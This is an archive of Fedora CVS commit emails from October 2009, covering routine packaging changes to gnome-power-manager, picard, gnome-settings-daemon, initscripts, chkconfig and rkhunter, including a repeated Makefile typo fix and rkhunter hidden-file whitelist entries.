-From db85afd7306ba8127b38f70feff281d4c4a6a022 Mon Sep 17 00:00:00 2001
+From 06027e758cb2ae16671282e81266119d613d3349 Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Tue, 27 Oct 2009 23:33:46 +0000
 Subject: [PATCH] Use gnome-settings-daemon popup code
@@ -8,13 +8,15 @@ Instead of forking it.
 https://bugzilla.gnome.org/show_bug.cgi?id=594664
 ---
  data/Makefile.am            |    3 +-
+ data/acme.ui                |   41 ++
  src/Makefile.am             |    5 +-
  src/gpm-backlight.c         |   39 ++-
  src/gpm-popup-window.c      |  725 ----------------------------
  src/gpm-popup-window.h      |   61 ---
  src/gsd-media-keys-window.c | 1109 +++++++++++++++++++++++++++++++++++++++++++
  src/gsd-media-keys-window.h |   69 +++
- 7 files changed, 1215 insertions(+), 796 deletions(-)
+ 8 files changed, 1256 insertions(+), 796 deletions(-)
+ create mode 100644 data/acme.ui
  delete mode 100644 src/gpm-popup-window.c
  delete mode 100644 src/gpm-popup-window.h
  create mode 100644 src/gsd-media-keys-window.c
@@ -34,6 +36,53 @@ index 1a76ac8..99df812 100644
  
  EXTRA_DIST =						\
  	gnome-power-manager.schemas.in			\
+diff --git a/data/acme.ui b/data/acme.ui
+new file mode 100644
+index 0000000..3222ecb
+--- /dev/null
++++ b/data/acme.ui
+@@ -0,0 +1,41 @@
++<?xml version="1.0"?>
++<interface>
++  <!-- interface-requires gtk+ 2.6 -->
++  <!-- interface-naming-policy toplevel-contextual -->
++  <object class="GtkWindow" id="dialog">
++    <child>
++      <object class="GtkFrame" id="acme_frame">
++        <property name="visible">True</property>
++        <property name="label_xalign">0</property>
++        <property name="shadow_type">out</property>
++        <child>
++          <object class="GtkVBox" id="acme_vbox">
++            <property name="visible">True</property>
++            <property name="border_width">12</property>
++            <property name="spacing">6</property>
++            <child>
++              <object class="GtkImage" id="acme_image">
++                <property name="visible">True</property>
++                <property name="icon_name">audio-volume-high</property>
++                <property name="icon-size">6</property>
++              </object>
++              <packing>
++                <property name="position">0</property>
++              </packing>
++            </child>
++            <child>
++              <object class="GtkProgressBar" id="acme_volume_progressbar">
++                <property name="visible">True</property>
++              </object>
++              <packing>
++                <property name="expand">False</property>
++                <property name="fill">False</property>
++                <property name="position">1</property>
++              </packing>
++            </child>
++          </object>
++        </child>
++      </object>
++    </child>
++  </object>
++</interface>
 diff --git a/src/Makefile.am b/src/Makefile.am
 index b41da1f..b038669 100644
 --- a/src/Makefile.am



From alexlan at fedoraproject.org  Wed Oct 28 00:24:02 2009
From: alexlan at fedoraproject.org (alexlan)
Date: Wed, 28 Oct 2009 00:24:02 +0000 (UTC)
Subject: rpms/picard/F-12 .cvsignore, 1.8, 1.9 picard.spec, 1.17,
	1.18 sources, 1.11, 1.12
Message-ID: <20091028002402.488C511C00E6@cvs1.fedora.phx.redhat.com>

Author: alexlan

Update of /cvs/pkgs/rpms/picard/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24507

Modified Files:
	.cvsignore picard.spec sources 
Log Message:
- Update to 0.12 (#531224)
- Icons now in icons/hicolor directory



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/picard/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	9 Dec 2008 08:34:14 -0000	1.8
+++ .cvsignore	28 Oct 2009 00:24:01 -0000	1.9
@@ -1 +1 @@
-picard-0.11.tar.gz
+picard-0.12.tar.gz


Index: picard.spec
===================================================================
RCS file: /cvs/pkgs/rpms/picard/F-12/picard.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- picard.spec	26 Jul 2009 18:41:25 -0000	1.17
+++ picard.spec	28 Oct 2009 00:24:02 -0000	1.18
@@ -2,8 +2,8 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:             picard
-Version:          0.11
-Release:          4%{?dist}
+Version:          0.12
+Release:          1%{?dist}
 Summary:          MusicBrainz-based audio tagger
 Group:            Applications/Multimedia
 
@@ -65,10 +65,6 @@ desktop-file-install --vendor="fedora"  
   --delete-original --remove-category="Application"   \
   --dir=$RPM_BUILD_ROOT/%{_datadir}/applications      \
   $RPM_BUILD_ROOT/%{_datadir}/applications/*
-# move from icons/ to pixmaps/
-mkdir $RPM_BUILD_ROOT/%{_datadir}/pixmaps
-install -pm 0644 $RPM_BUILD_ROOT%{_datadir}/icons/picard-*.png $RPM_BUILD_ROOT%{_datadir}/pixmaps/
-rm -rf $RPM_BUILD_ROOT%{_datadir}/icons
 
 # install plugins
 PLUGINDIR=$RPM_BUILD_ROOT%{python_sitearch}/picard/plugins/
@@ -107,7 +103,7 @@ rm -rf $RPM_BUILD_ROOT
 %doc AUTHORS.txt COPYING.txt NEWS.txt INSTALL.txt
 %{_bindir}/picard
 %{_datadir}/applications/fedora-picard.desktop
-%{_datadir}/pixmaps/*
+%{_datadir}/icons/hicolor/*/apps/picard.png
 %if 0%{?fedora} >= 9
 %{python_sitearch}/*egg-info
 %endif
@@ -115,6 +111,10 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/picard/*
 
 %changelog
+* Tue Oct 27 2009 Alex Lancaster <alexlan[AT]fedoraproject org> - 0.12-1
+- Update to 0.12 (#531224)
+- Icons now in icons/hicolor directory
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/picard/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	9 Dec 2008 08:40:26 -0000	1.11
+++ sources	28 Oct 2009 00:24:02 -0000	1.12
@@ -1,4 +1,4 @@
-02ddcff3e201b2cf54f1b52b02d44fad  picard-0.11.tar.gz
+88284fb378462a091a092e03387f0da9  picard-0.12.tar.gz
 f58cb1c53d94e22b5c6cd6fcd91a2d5e  SearchAmazon3.py
 c2b8a059dd047c7f7b48a0d872373171  SearchAMG.py
 eedcec32b66e89c3ba27ee4c37c11241  SearchCastAlbums3.py



From hadess at fedoraproject.org  Wed Oct 28 00:33:04 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed, 28 Oct 2009 00:33:04 +0000 (UTC)
Subject: rpms/gnome-settings-daemon/F-12
	0003-Improve-the-media-keys-overlay-design.patch, 1.1,
	1.2 gnome-settings-daemon.spec, 1.132, 1.133
Message-ID: <20091028003304.7B93811C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-settings-daemon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28306

Modified Files:
	0003-Improve-the-media-keys-overlay-design.patch 
	gnome-settings-daemon.spec 
Log Message:
* Wed Oct 28 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-5
- Update OSD code again


0003-Improve-the-media-keys-overlay-design.patch:
 gsd-media-keys-window.c |   58 ++++++++++++++++++++++++++++++++++++------------
 1 file changed, 44 insertions(+), 14 deletions(-)

Index: 0003-Improve-the-media-keys-overlay-design.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-settings-daemon/F-12/0003-Improve-the-media-keys-overlay-design.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0003-Improve-the-media-keys-overlay-design.patch	27 Oct 2009 22:31:08 -0000	1.1
+++ 0003-Improve-the-media-keys-overlay-design.patch	28 Oct 2009 00:33:03 -0000	1.2
@@ -1,14 +1,15 @@
-From 26041c5b936263d3f5aa4aa7fc7ffedd128ed444 Mon Sep 17 00:00:00 2001
+From 20036534e2828417b75ea3a0cd830266f40f81f6 Mon Sep 17 00:00:00 2001
 From: William Jon McCann <jmccann at redhat.com>
 Date: Wed, 23 Sep 2009 21:15:45 -0400
-Subject: [PATCH 3/3] Improve the media keys overlay design
+Subject: [PATCH 3/5] Improve the media keys overlay design
 
+https://bugzilla.gnome.org/show_bug.cgi?id=596136
 ---
- plugins/media-keys/gsd-media-keys-window.c |   59 +++++++++++++++++++++-------
- 1 files changed, 45 insertions(+), 14 deletions(-)
+ plugins/media-keys/gsd-media-keys-window.c |   57 +++++++++++++++++++++------
+ 1 files changed, 44 insertions(+), 13 deletions(-)
 
 diff --git a/plugins/media-keys/gsd-media-keys-window.c b/plugins/media-keys/gsd-media-keys-window.c
-index cffbe3e..c33d624 100644
+index cffbe3e..ec69598 100644
 --- a/plugins/media-keys/gsd-media-keys-window.c
 +++ b/plugins/media-keys/gsd-media-keys-window.c
 @@ -33,7 +33,7 @@
@@ -57,12 +58,8 @@ index cffbe3e..c33d624 100644
  draw_volume_boxes (GsdMediaKeysWindow *window,
                     cairo_t            *cr,
                     double              percentage,
-@@ -609,33 +639,34 @@ draw_volume_boxes (GsdMediaKeysWindow *window,
-         y0 += 0.5;
-         height = round (height) - 1;
-         width = round (width) - 1;
--        x1 = round ((width - 1) * percentage);
-+        x1 = round ((width - 2) * percentage);
+@@ -612,30 +642,31 @@ draw_volume_boxes (GsdMediaKeysWindow *window,
+         x1 = round ((width - 1) * percentage);
  
          /* bar background */
 -        color = GTK_WIDGET (window)->style->dark [GTK_STATE_NORMAL];
@@ -98,7 +95,7 @@ index cffbe3e..c33d624 100644
          g = (float)color.green / 65535.0;
          b = (float)color.blue / 65535.0;
 -        cairo_rectangle (cr, x0 + 0.5, y0 + 0.5, x1, height - 1);
-+        rounded_rectangle (cr, 1.0, x0 + 0.5, y0 + 0.5, height / 8, x1, height - 2);
++        rounded_rectangle (cr, 1.0, x0 + 0.5, y0 + 0.5, height / 6 - 0.5, x1, height - 1);
          cairo_set_source_rgba (cr, r, g, b, FG_ALPHA);
          cairo_fill (cr);
  }


Index: gnome-settings-daemon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-settings-daemon/F-12/gnome-settings-daemon.spec,v
retrieving revision 1.132
retrieving revision 1.133
diff -u -p -r1.132 -r1.133
--- gnome-settings-daemon.spec	27 Oct 2009 22:31:09 -0000	1.132
+++ gnome-settings-daemon.spec	28 Oct 2009 00:33:03 -0000	1.133
@@ -1,6 +1,6 @@
 Name:		gnome-settings-daemon
 Version:	2.28.1
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	The daemon sharing settings from GNOME to GTK+/KDE applications
 
 Group:		System Environment/Daemons
@@ -177,6 +177,9 @@ fi
 %{_libdir}/pkgconfig/gnome-settings-daemon.pc
 
 %changelog
+* Wed Oct 28 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-5
+- Update OSD code again
+
 * Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
 - Fix bluriness in OSD
 



From notting at fedoraproject.org  Wed Oct 28 02:54:32 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 02:54:32 +0000 (UTC)
Subject: rpms/initscripts/F-10 Makefile,1.2,1.3
Message-ID: <20091028025432.A9C3111C00E6@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/initscripts/F-10
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/initscripts/F-10

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)



Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/initscripts/F-10/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:53:00 -0000	1.2
+++ Makefile	28 Oct 2009 02:54:28 -0000	1.3
@@ -4,7 +4,7 @@ NAME := initscripts
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 02:54:34 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 02:54:34 +0000 (UTC)
Subject: rpms/initscripts/F-11 Makefile,1.2,1.3
Message-ID: <20091028025434.B6B3211C00E6@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/initscripts/F-11
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/initscripts/F-11

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)



Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/initscripts/F-11/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:53:00 -0000	1.2
+++ Makefile	28 Oct 2009 02:54:34 -0000	1.3
@@ -4,7 +4,7 @@ NAME := initscripts
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 02:54:36 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 02:54:36 +0000 (UTC)
Subject: rpms/initscripts/F-12 Makefile,1.2,1.3
Message-ID: <20091028025436.B339011C00E6@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/initscripts/F-12
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/initscripts/F-12

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)



Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/initscripts/F-12/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:53:00 -0000	1.2
+++ Makefile	28 Oct 2009 02:54:36 -0000	1.3
@@ -4,7 +4,7 @@ NAME := initscripts
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 02:54:38 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 02:54:38 +0000 (UTC)
Subject: rpms/initscripts/F-8 Makefile,1.2,1.3
Message-ID: <20091028025438.4995211C00E6@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/initscripts/F-8
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/initscripts/F-8

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)



Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/initscripts/F-8/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:53:00 -0000	1.2
+++ Makefile	28 Oct 2009 02:54:38 -0000	1.3
@@ -4,7 +4,7 @@ NAME := initscripts
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 02:54:39 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 02:54:39 +0000 (UTC)
Subject: rpms/initscripts/F-9 Makefile,1.2,1.3
Message-ID: <20091028025439.B65D911C00E6@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/initscripts/F-9
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/initscripts/F-9

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)



Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/initscripts/F-9/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:53:00 -0000	1.2
+++ Makefile	28 Oct 2009 02:54:39 -0000	1.3
@@ -4,7 +4,7 @@ NAME := initscripts
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 02:54:41 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 02:54:41 +0000 (UTC)
Subject: rpms/initscripts/OLPC-3 Makefile,1.2,1.3
Message-ID: <20091028025441.5928B11C00E6@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/initscripts/OLPC-3
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/initscripts/OLPC-3

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)



Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/initscripts/OLPC-3/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:53:00 -0000	1.2
+++ Makefile	28 Oct 2009 02:54:41 -0000	1.3
@@ -4,7 +4,7 @@ NAME := initscripts
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 02:54:43 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 02:54:43 +0000 (UTC)
Subject: rpms/initscripts/OLPC-4 Makefile,1.2,1.3
Message-ID: <20091028025443.78AA811C00E6@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/initscripts/OLPC-4
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/initscripts/OLPC-4

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)



Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/initscripts/OLPC-4/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:53:00 -0000	1.2
+++ Makefile	28 Oct 2009 02:54:43 -0000	1.3
@@ -4,7 +4,7 @@ NAME := initscripts
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 02:54:44 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 02:54:44 +0000 (UTC)
Subject: rpms/initscripts/devel Makefile,1.2,1.3
Message-ID: <20091028025444.EB3AF11C00E6@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/initscripts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/initscripts/devel

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)



Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/initscripts/devel/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:53:00 -0000	1.2
+++ Makefile	28 Oct 2009 02:54:44 -0000	1.3
@@ -4,7 +4,7 @@ NAME := initscripts
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From kevin at fedoraproject.org  Wed Oct 28 03:21:07 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Wed, 28 Oct 2009 03:21:07 +0000 (UTC)
Subject: rpms/rkhunter/EL-5 rkhunter.spec, 1.17,
	1.18 rkhunter-1.3.4-fedoraconfig.patch, 1.1, 1.2
Message-ID: <20091028032107.4882711C00E6@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/extras/rpms/rkhunter/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29259

Modified Files:
	rkhunter.spec rkhunter-1.3.4-fedoraconfig.patch 
Log Message:
Add exception for software raid udev file - bug #509253
Add /usr/bin/.fipscheck.hmac to ok files - bug #494096



Index: rkhunter.spec
===================================================================
RCS file: /cvs/extras/rpms/rkhunter/EL-5/rkhunter.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- rkhunter.spec	12 Mar 2009 04:47:10 -0000	1.17
+++ rkhunter.spec	28 Oct 2009 03:21:05 -0000	1.18
@@ -1,6 +1,6 @@
 Name:           rkhunter
 Version:        1.3.4
-Release:        5%{?dist}
+Release:        8%{?dist}
 Summary:        A host-based tool to scan for rootkits, backdoors and local exploits
 
 Group:          Applications/System
@@ -104,6 +104,15 @@ EOF
 %{_mandir}/man8/*
 
 %changelog
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.4-8
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Fri Jul 03 2009 Kevin Fenzi <kevin at tummy.com> - 1.3.4-7
+- Add exception for software raid udev file - bug #509253
+
+* Sat Jun 06 2009 Kevin Fenzi <kevin at tummy.com> - 1.3.4-6
+- Add /usr/bin/.fipscheck.hmac to ok files - bug #494096
+
 * Sun Mar 08 2009 Kevin Fenzi <kevin at tummy.com> - 1.3.4-5
 - Fix typo in patch file
 

rkhunter-1.3.4-fedoraconfig.patch:
 rkhunter.conf |   47 +++++++++++++++++++++++++++++++++--------------
 1 file changed, 33 insertions(+), 14 deletions(-)

Index: rkhunter-1.3.4-fedoraconfig.patch
===================================================================
RCS file: /cvs/extras/rpms/rkhunter/EL-5/rkhunter-1.3.4-fedoraconfig.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- rkhunter-1.3.4-fedoraconfig.patch	12 Mar 2009 04:47:10 -0000	1.1
+++ rkhunter-1.3.4-fedoraconfig.patch	28 Oct 2009 03:21:05 -0000	1.2
@@ -1,6 +1,6 @@
 diff -Nur rkhunter-1.3.4.orig/files/rkhunter.conf rkhunter-1.3.4/files/rkhunter.conf
 --- rkhunter-1.3.4.orig/files/rkhunter.conf	2008-12-30 14:23:00.000000000 -0700
-+++ rkhunter-1.3.4/files/rkhunter.conf	2009-03-04 22:09:48.000000000 -0700
++++ rkhunter-1.3.4/files/rkhunter.conf	2009-10-27 20:23:31.000000000 -0600
 @@ -68,7 +68,7 @@
  # NOTE: This option should be present in the configuration file.
  #
@@ -96,7 +96,7 @@ diff -Nur rkhunter-1.3.4.orig/files/rkhu
  #ALLOWHIDDENDIR=/dev/.udevdb
  #ALLOWHIDDENDIR=/dev/.udev.tdb
  #ALLOWHIDDENDIR=/dev/.static
-@@ -322,9 +328,18 @@
+@@ -322,9 +328,21 @@
  # One file per line (use multiple ALLOWHIDDENFILE lines).
  # 
  #ALLOWHIDDENFILE=/etc/.java
@@ -113,10 +113,13 @@ diff -Nur rkhunter-1.3.4.orig/files/rkhu
 +ALLOWHIDDENFILE=/usr/bin/.ssh-add.hmac
 +ALLOWHIDDENFILE=/usr/bin/.ssh-agent.hmac
 +ALLOWHIDDENFILE=/usr/sbin/.sshd.hmac
++ALLOWHIDDENFILE=/usr/bin/.fipscheck.hmac
++# raid map
++ALLOWHIDDENFILE=/dev/.mdadm.map
  
  #
  # Allow the specified processes to use deleted files.
-@@ -367,7 +382,7 @@
+@@ -367,7 +385,7 @@
  # ALLOWDEVFILE lines).
  #
  #ALLOWDEVFILE=/dev/abc
@@ -125,7 +128,7 @@ diff -Nur rkhunter-1.3.4.orig/files/rkhu
  
  #
  # This setting tells rkhunter where the inetd configuration
-@@ -460,7 +475,7 @@
+@@ -460,7 +478,7 @@
  # file. This setting will be worked out by rkhunter, and so should not
  # usually need to be set.
  #
@@ -134,7 +137,7 @@ diff -Nur rkhunter-1.3.4.orig/files/rkhu
  
  #
  # This option permits the use of syslog remote logging.
-@@ -549,7 +564,7 @@
+@@ -549,7 +567,7 @@
  # specified, then RKH will assume the O/S release information is on the
  # first non-blank line of the file.
  #
@@ -143,7 +146,7 @@ diff -Nur rkhunter-1.3.4.orig/files/rkhu
  
  #
  # The following two options can be used to whitelist files and directories
-@@ -578,3 +593,4 @@
+@@ -578,3 +596,4 @@
  #
  #MODULES_DIR=""
  



From notting at fedoraproject.org  Wed Oct 28 04:06:19 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:06:19 +0000 (UTC)
Subject: rpms/chkconfig/F-12 Makefile,1.2,1.3
Message-ID: <20091028040619.3150611C029E@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/chkconfig/F-12
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/chkconfig/F-12

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/chkconfig/F-12/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:39:32 -0000	1.2
+++ Makefile	28 Oct 2009 04:06:18 -0000	1.3
@@ -4,7 +4,7 @@ NAME := chkconfig
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:06:18 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:06:18 +0000 (UTC)
Subject: rpms/chkconfig/F-11 Makefile,1.2,1.3
Message-ID: <20091028040619.0F1E511C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/chkconfig/F-11
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/chkconfig/F-11

Modified Files:
	Makefile 
Log Message:
